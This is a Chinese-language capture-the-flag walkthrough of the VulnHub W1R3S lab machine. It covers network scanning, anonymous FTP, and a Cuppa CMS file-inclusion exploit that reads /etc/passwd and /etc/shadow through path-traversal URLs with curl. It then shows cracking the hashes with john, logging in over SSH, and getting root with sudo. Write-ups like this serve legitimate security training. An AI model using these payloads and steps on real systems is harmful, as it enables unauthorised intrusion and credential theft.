w1r3s-editable靶机地址:https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip
目标:拿到root权限,找到flag
信息收集
- 内网主机搜寻
sudo arp-scan -l
- 主机IP:10.0.0.100,主机端口扫描
nmap -p- -A 10.0.0.100
- 看到有80端口,果断尝试网站目录扫描
dirb http://10.0.0.100
渗透测试
ftp渗透
- 从收集到信息来看,ftp端口开放并且允许匿名登陆,登录名和密码都写:Anonymous
ftp 10.0.0.100
- 将ftp上的所有文件都使用get命令下载到kali上
- 分别查看这几个文件有什么信息
- 可以看到02.txt文件有两段信息,凭经验可以推断出上面一个是md5加密后的字符串,下面一个是base64加密后的字符串
- 尝试md5解密,打开解密md5的网站
- kali上测试解密base64密文
echo "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==" | base64 -d
- 都是一些让你放弃ftp渗透的信息
- 查看其他文件
- 一些用户的信息,也许会有用,先放着
- 继续查看下一个文件
- 我第一眼就看出这是英文的倒向,所以就直接去了倒向网站
- 很明显,这些提示语都在暗示我们放弃ftp渗透的方向
- 我们果断放弃ftp渗透
web渗透
- 访问地址http://10.0.0.100
- 百度一下cuppa cms是一个内容管理系统
- 既然用的是第三方的管理系统,很有可能存在漏洞,直接上google hacking查找poc或exp
searchsploit cuppa
- 获取这个文件到当前目录并查看这个文件
locate php/webapps/25971.txt
sudo cp /usr/share/exploitdb/exploits/php/webapps/25971.txt .
- 这里用到了一个文件包含漏洞,我们尝试构造这样的路径去访问敏感信息
http://10.0.0.100/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
- 这里好像没有读取到敏感信息,但也是读取到文件了
- 再看看poc是否漏了什么参数
- 这段php代码作用是包含并执行一个文件,设置参数urlConfig可以达到任意代码执行
- 这段例子也说明了要对url进行编码
- 使用curl对url进行编码并访问敏感信息
curl --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://10.0.0.100/administrator/alerts/alertConfigField.php
- 获取到了用户的敏感信息,并截取了三个重要的用户信息
- 尝试一下hash爆破密码 ,将三个用户信息的用户名:密文写入一个空文件里,并使用john开膛
john passwd.txt
- 成功开膛出两个用户的密码
- 尝试远程连接这两个用户
ssh www-data@10.0.0.100 -p 22
- 这个连接关闭了,选择性放弃
ssh computer@10.0.0.100 -p 22
- 成功登陆了,并准备提权
提权
- 先看一下那些组件是可以被利用的
sudo -l
- 密码就写用户w1r3s的密码,可以看到所有组件都是具有sudo权限的
- 这里直接利用sudo进入root模式
sudo /bin/bash
- 进入root目录下查看flag
总结
- 做好信息收集,多收集一些信息对渗透成功有很大的作用,一些常见的端口渗透,目录扫描等
- 对第三方管理系统或者是其他系统做重点渗透,查看是否有对应的poc或exp
- 学会使用john开膛用户密码
- sudo -l的简单提权